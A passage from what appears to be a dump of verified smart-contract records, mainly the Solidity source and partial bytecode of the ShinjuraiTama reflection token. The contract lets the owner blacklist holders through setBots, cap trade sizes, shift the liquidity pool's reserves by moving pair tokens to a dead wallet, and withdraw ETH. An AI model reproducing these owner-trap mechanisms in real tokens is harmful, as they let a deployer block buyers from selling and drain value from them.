* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
} | 0x735f9b2417eebcc0f3e4d21e6fe73df9a3c1cd203530146080604052600080fdfea2646970667358221220079c5d34650239490695a1f0a848bc7f8243cb5a7fdc154fea453328cc5eb86664736f6c63430006060033 | {"success": true, "error": null, "results": {}} | 10,166 |
0x928cdeb81cb345996c9641c1cf2d93a2e07d54e1 | /*
______ __ _ _ _ _________
.' ____ \ [ | (_) (_) (_)| _ _ |
| (___ \_| | |--. __ _ .--. __ __ _ _ .--. ,--. __ |_/ | | \_|,--. _ .--..--. ,--.
_.____`. | .-. | [ | [ `.-. | [ |[ | | | [ `/'`\]`'_\ : [ | | | `'_\ : [ `.-. .-. | `'_\ :
| \____) | | | | | | | | | | | _ | | | \_/ |, | | // | |, | | _| |_ // | |, | | | | | | // | |,
\______.'[___]|__][___][___||__][ \_| | '.__.'_/[___] \'-;__/[___] |_____| \'-;__/[___||__||__]\'-;__/
\____/
🌐Website: ShinjuraiTama.com
🐦Twitter: twitter.com/ShinjuraiTama
📱Telegram: t.me/ShinjuraiTama
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ShinjuraiTama is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "ShinjuraiTama";
string private constant _symbol = "SUTAMA";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
IUniswapV2Pair private uniswapV2PairInterface;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
address private deadWallet = 0x000000000000000000000000000000000000dEaD;
bool private mitigationEnabled = true;
uint private mitigationFactor = 100;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x35F65D5C4F3443cb26Df761c857d066c19A119F7);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (disableFee) {
_feeAddr1 = 0;
_feeAddr2 = 0;
} else {
_feeAddr1 = 2;
_feeAddr2 = 8;
}
if (from != address(this) && to != deadWallet && from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
// cooldown[to] = block.timestamp + (30 seconds);
// require(cooldown[to] < block.timestamp);
}
if (!disableFee && to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
uint256 contractTokenBalance = balanceOf(address(this));
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function changeMitigationFactor(uint256 newMitigationFactor) public onlyOwner {
mitigationFactor = newMitigationFactor;
}
function changeMitigationEnabled(bool newMitigationEnabled) public onlyOwner {
mitigationEnabled = newMitigationEnabled;
}
function getReserves() internal view returns (uint256 reserveToken, uint256 reserveETH, uint256 ratio) {
(uint112 _reserve0, uint112 _reserve1,) = uniswapV2PairInterface.getReserves();
//Check which reserve belongs to this tokens contract address
bool isFirstReserve = uniswapV2PairInterface.token0() == address(this);
//Calculate reserve values
reserveToken = isFirstReserve ? _reserve0 : _reserve1;
reserveETH = isFirstReserve ? _reserve1 : _reserve0;
ratio = reserveToken.div(reserveETH);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
disableFee = true;
if (mitigationEnabled) {
swapTokensForEthWithMitigation(tokenAmount);
} else {
swapTokensForEthNormal(tokenAmount);
}
disableFee = false;
}
function swapTokensForEthNormal(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function swapTokensForEthWithMitigation(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
//ratio = token / eth
(uint256 oldTokenReserve, uint256 oldETHReserve ,uint256 ratio) = getReserves();
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
(uint256 reserveToken, uint256 reserveETH,uint256 ratio2) = getReserves();
uint256 correctedReserve = ratio.mul(reserveETH);
uint256 reserveOffset = reserveToken.sub(correctedReserve);
reserveOffset = reserveOffset.mul(mitigationFactor).div(100);
_transfer(uniswapV2Pair, deadWallet, reserveOffset);
uniswapV2PairInterface.sync();
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function setSwapEnabled(bool isEnabled) public payable onlyOwner() {
swapEnabled = isEnabled;
}
bool internal disableFee = false;
function openTrading(address router) external payable onlyOwner() {
disableFee = true;
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2PairInterface = IUniswapV2Pair(uniswapV2Pair);
uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_isExcludedFromFee[address(uniswapV2Pair)] = true;
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
disableFee = false;
}
function changeMaxTxAmount(uint newTxAmount) external onlyOwner {
_maxTxAmount = newTxAmount;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswapsend() external onlyOwner {
// require(msg.sender == _feeAddrWallet, 'Not owner');
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function manualsend(uint amount) public onlyOwner {
if (amount > address(this).balance) amount = address(this).balance;
payable(owner()).transfer(amount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x60806040526004361061012e5760003560e01c8063702e3811116100ab578063a9059cbb1161006f578063a9059cbb1461043f578063b515566a14610478578063ba05e9bc14610528578063ca72a4e71461053d578063dd62ed3e14610563578063e01af92c1461059e57610135565b8063702e38111461038757806370a08231146103b1578063715018a6146103e45780638da5cb5b146103f957806395d89b411461042a57610135565b806323b872dd116100f257806323b872dd14610290578063273123b7146102d3578063313ce567146103065780635932ead114610331578063677daa571461035d57610135565b806306a227d21461013a57806306fdde0314610168578063095ea7b3146101f257806318160ddd1461023f5780631ad34a4f1461026657610135565b3661013557005b600080fd5b34801561014657600080fd5b506101666004803603602081101561015d57600080fd5b503515156105bd565b005b34801561017457600080fd5b5061017d610633565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101b757818101518382015260200161019f565b50505050905090810190601f1680156101e45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101fe57600080fd5b5061022b6004803603604081101561021557600080fd5b506001600160a01b03813516906020013561065a565b604080519115158252519081900360200190f35b34801561024b57600080fd5b50610254610678565b60408051918252519081900360200190f35b34801561027257600080fd5b506101666004803603602081101561028957600080fd5b5035610688565b34801561029c57600080fd5b5061022b600480360360608110156102b357600080fd5b506001600160a01b0381358116916020810135909116906040013561072f565b3480156102df57600080fd5b50610166600480360360208110156102f657600080fd5b50356001600160a01b03166107b6565b34801561031257600080fd5b5061031b61082f565b6040805160ff9092168252519081900360200190f35b34801561033d57600080fd5b506101666004803603602081101561035457600080fd5b50351515610834565b34801561036957600080fd5b506101666004803603602081101561038057600080fd5b50356108aa565b34801561039357600080fd5b50610166600480360360208110156103aa57600080fd5b5035610907565b3480156103bd57600080fd5b50610254600480360360208110156103d457600080fd5b50356001600160a01b0316610964565b3480156103f057600080fd5b50610166610986565b34801561040557600080fd5b5061040e610a28565b604080516001600160a01b039092168252519081900360200190f35b34801561043657600080fd5b5061017d610a37565b34801561044b57600080fd5b5061022b6004803603604081101561046257600080fd5b506001600160a01b038135169060200135610a57565b34801561048457600080fd5b506101666004803603602081101561049b57600080fd5b8101906020810181356401000000008111156104b657600080fd5b8201836020820111156104c857600080fd5b803590602001918460208302840111640100000000831117156104ea57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610a6b945050505050565b34801561053457600080fd5b50610166610b1b565b6101666004803603602081101561055357600080fd5b50356001600160a01b0316610b93565b34801561056f57600080fd5b506102546004803603604081101561058657600080fd5b506001600160a01b0381358116916020013516610fc4565b610166600480360360208110156105b457600080fd5b50351515610fef565b6105c5611065565b6000546001600160a01b03908116911614610615576040805162461bcd60e51b815260206004820181905260248201526000805160206120dd833981519152604482015290519081900360640190fd5b60118054911515600160a01b0260ff60a01b19909216919091179055565b60408051808201909152600d81526c5368696e6a7572616954616d6160981b602082015290565b600061066e610667611065565b8484611069565b5060015b92915050565b6b033b2e3c9fd0803ce800000090565b610690611065565b6000546001600160a01b039081169116146106e0576040805162461bcd60e51b815260206004820181905260248201526000805160206120dd833981519152604482015290519081900360640190fd5b478111156106eb5750475b6106f3610a28565b6001600160a01b03166108fc829081150290604051600060405180830381858888f1935050505015801561072b573d6000803e3d6000fd5b5050565b600061073c848484611155565b6107ac84610748611065565b6107a7856040518060600160405280602881526020016120b5602891396001600160a01b038a16600090815260046020526040812090610786611065565b6001600160a01b031681526020810191909152604001600020549190611467565b611069565b5060019392505050565b6107be611065565b6000546001600160a01b0390811691161461080e576040805162461bcd60e51b815260206004820181905260248201526000805160206120dd833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b600990565b61083c611065565b6000546001600160a01b0390811691161461088c576040805162461bcd60e51b815260206004820181905260248201526000805160206120dd833981519152604482015290519081900360640190fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6108b2611065565b6000546001600160a01b03908116911614610902576040805162461bcd60e51b815260206004820181905260248201526000805160206120dd833981519152604482015290519081900360640190fd5b601055565b61090f611065565b6000546001600160a01b0390811691161461095f576040805162461bcd60e51b815260206004820181905260248201526000805160206120dd833981519152604482015290519081900360640190fd5b601255565b6001600160a01b038116600090815260026020526040812054610672906114fe565b61098e611065565b6000546001600160a01b039081169116146109de576040805162461bcd60e51b815260206004820181905260248201526000805160206120dd833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b604080518082019091526006815265535554414d4160d01b602082015290565b600061066e610a64611065565b8484611155565b610a73611065565b6000546001600160a01b03908116911614610ac3576040805162461bcd60e51b815260206004820181905260248201526000805160206120dd833981519152604482015290519081900360640190fd5b60005b815181101561072b57600160066000848481518110610ae157fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610ac6565b610b23611065565b6000546001600160a01b03908116911614610b73576040805162461bcd60e51b815260206004820181905260248201526000805160206120dd833981519152604482015290519081900360640190fd5b6000610b7e30610964565b9050610b898161155e565b4761072b816115c1565b610b9b611065565b6000546001600160a01b03908116911614610beb576040805162461bcd60e51b815260206004820181905260248201526000805160206120dd833981519152604482015290519081900360640190fd5b6013805460ff19166001179055600f54600160a01b900460ff1615610c57576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b600d80546001600160a01b0319166001600160a01b0383811691909117918290558291610c93913091166b033b2e3c9fd0803ce8000000611069565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ccc57600080fd5b505afa158015610ce0573d6000803e3d6000fd5b505050506040513d6020811015610cf657600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610d4657600080fd5b505afa158015610d5a573d6000803e3d6000fd5b505050506040513d6020811015610d7057600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610dc257600080fd5b505af1158015610dd6573d6000803e3d6000fd5b505050506040513d6020811015610dec57600080fd5b5051600f80546001600160a01b039283166001600160a01b03199182161791829055600e8054909116918316919091179055600d541663f305d7193430610e3281610964565b600080610e3d610a28565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610ea857600080fd5b505af1158015610ebc573d6000803e3d6000fd5b50505050506040513d6060811015610ed357600080fd5b5050600f80546001600160a01b039081166000908152600560209081526040808320805460ff1916600117905584546a295be96e6406697200000060105560ff60a01b1960ff60b81b1960ff60b01b19909216600160b01b1791909116600160b81b1716600160a01b1794859055600d54815163095ea7b360e01b8152908516600482015260001960248201529051949093169363095ea7b393604480820194918390030190829087803b158015610f8a57600080fd5b505af1158015610f9e573d6000803e3d6000fd5b505050506040513d6020811015610fb457600080fd5b50506013805460ff191690555050565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b610ff7611065565b6000546001600160a01b03908116911614611047576040805162461bcd60e51b815260206004820181905260248201526000805160206120dd833981519152604482015290519081900360640190fd5b600f8054911515600160b01b0260ff60b01b19909216919091179055565b3390565b6001600160a01b0383166110ae5760405162461bcd60e51b815260040180806020018281038252602481526020018061214b6024913960400191505060405180910390fd5b6001600160a01b0382166110f35760405162461bcd60e51b81526004018080602001828103825260228152602001806120726022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b03831661119a5760405162461bcd60e51b81526004018080602001828103825260258152602001806121266025913960400191505060405180910390fd5b6001600160a01b0382166111df5760405162461bcd60e51b81526004018080602001828103825260238152602001806120256023913960400191505060405180910390fd5b6000811161121e5760405162461bcd60e51b81526004018080602001828103825260298152602001806120fd6029913960400191505060405180910390fd5b60135460ff1615611238576000600a819055600b55611243565b6002600a556008600b555b6001600160a01b038316301480159061126a57506011546001600160a01b03838116911614155b801561128f5750611279610a28565b6001600160a01b0316836001600160a01b031614155b80156112b4575061129e610a28565b6001600160a01b0316826001600160a01b031614155b15611457576001600160a01b03831660009081526006602052604090205460ff161580156112fb57506001600160a01b03821660009081526006602052604090205460ff16155b61130457600080fd5b600f546001600160a01b03848116911614801561132f5750600d546001600160a01b03838116911614155b801561135457506001600160a01b03821660009081526005602052604090205460ff16155b80156113695750600f54600160b81b900460ff165b1561137d5760105481111561137d57600080fd5b60135460ff1615801561139d5750600f546001600160a01b038381169116145b80156113b75750600d546001600160a01b03848116911614155b80156113dc57506001600160a01b03831660009081526005602052604090205460ff16155b156113ec576002600a908155600b555b600f54600160a81b900460ff161580156114145750600f546001600160a01b03848116911614155b80156114295750600f54600160b01b900460ff165b1561145757600061143930610964565b90506114448161155e565b47801561145457611454476115c1565b50505b6114628383836115fb565b505050565b600081848411156114f65760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156114bb5781810151838201526020016114a3565b50505050905090810190601f1680156114e85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60006008548211156115415760405162461bcd60e51b815260040180806020018281038252602a815260200180612048602a913960400191505060405180910390fd5b600061154b611606565b90506115578382611629565b9392505050565b600f805460ff60a81b1916600160a81b1790556013805460ff19166001179055601154600160a01b900460ff161561159e576115998161166b565b6115a7565b6115a781611921565b506013805460ff19169055600f805460ff60a81b19169055565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561072b573d6000803e3d6000fd5b611462838383611ad0565b6000806000611613611bc5565b90925090506116228282611629565b9250505090565b600061155783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c10565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061169a57fe5b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156116ee57600080fd5b505afa158015611702573d6000803e3d6000fd5b505050506040513d602081101561171857600080fd5b505181518290600190811061172957fe5b6001600160a01b039283166020918202929092010152600d5461174f9130911684611069565b600080600061175c611c75565b925092509250600d60009054906101000a90046001600160a01b03166001600160a01b031663791ac9478660008730426040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156117fc5781810151838201526020016117e4565b505050509050019650505050505050600060405180830381600087803b15801561182557600080fd5b505af1158015611839573d6000803e3d6000fd5b50505050600080600061184a611c75565b91945092509050600061185d8584611dc5565b9050600061186b8583611e1e565b905061188d606461188760125484611dc590919063ffffffff16565b90611629565b600f546011549192506118ad916001600160a01b03918216911683611155565b600e60009054906101000a90046001600160a01b03166001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156118fd57600080fd5b505af1158015611911573d6000803e3d6000fd5b5050505050505050505050505050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061195057fe5b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156119a457600080fd5b505afa1580156119b8573d6000803e3d6000fd5b505050506040513d60208110156119ce57600080fd5b50518151829060019081106119df57fe5b6001600160a01b039283166020918202929092010152600d54611a059130911684611069565b600d5460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b83811015611a8b578181015183820152602001611a73565b505050509050019650505050505050600060405180830381600087803b158015611ab457600080fd5b505af1158015611ac8573d6000803e3d6000fd5b505050505050565b600080600080600080611ae287611e60565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611b149087611e1e565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611b439086611ebd565b6001600160a01b038916600090815260026020526040902055611b6581611f17565b611b6f8483611f61565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60085460009081906b033b2e3c9fd0803ce8000000611be48282611629565b821015611c06576008546b033b2e3c9fd0803ce8000000935093505050611c0c565b90925090505b9091565b60008183611c5f5760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156114bb5781810151838201526020016114a3565b506000838581611c6b57fe5b0495945050505050565b6000806000806000600e60009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015611ccb57600080fd5b505afa158015611cdf573d6000803e3d6000fd5b505050506040513d6060811015611cf557600080fd5b508051602091820151600e5460408051630dfe168160e01b8152905193965091945060009330936001600160a01b0390921692630dfe16819260048083019392829003018186803b158015611d4957600080fd5b505afa158015611d5d573d6000803e3d6000fd5b505050506040513d6020811015611d7357600080fd5b50516001600160a01b031614905080611d8c5781611d8e565b825b6001600160701b0316955080611da45782611da6565b815b6001600160701b03169450611dbb8686611629565b9350505050909192565b600082611dd457506000610672565b82820282848281611de157fe5b04146115575760405162461bcd60e51b81526004018080602001828103825260218152602001806120946021913960400191505060405180910390fd5b600061155783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611467565b6000806000806000806000806000611e7d8a600a54600b54611f85565b9250925092506000611e8d611606565b90506000806000611ea08e878787611fd4565b919e509c509a509598509396509194505050505091939550919395565b600082820183811015611557576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611f21611606565b90506000611f2f8383611dc5565b30600090815260026020526040902054909150611f4c9082611ebd565b30600090815260026020526040902055505050565b600854611f6e9083611e1e565b600855600954611f7e9082611ebd565b6009555050565b6000808080611f9960646118878989611dc5565b90506000611fac60646118878a89611dc5565b90506000611fc482611fbe8b86611e1e565b90611e1e565b9992985090965090945050505050565b6000808080611fe38886611dc5565b90506000611ff18887611dc5565b90506000611fff888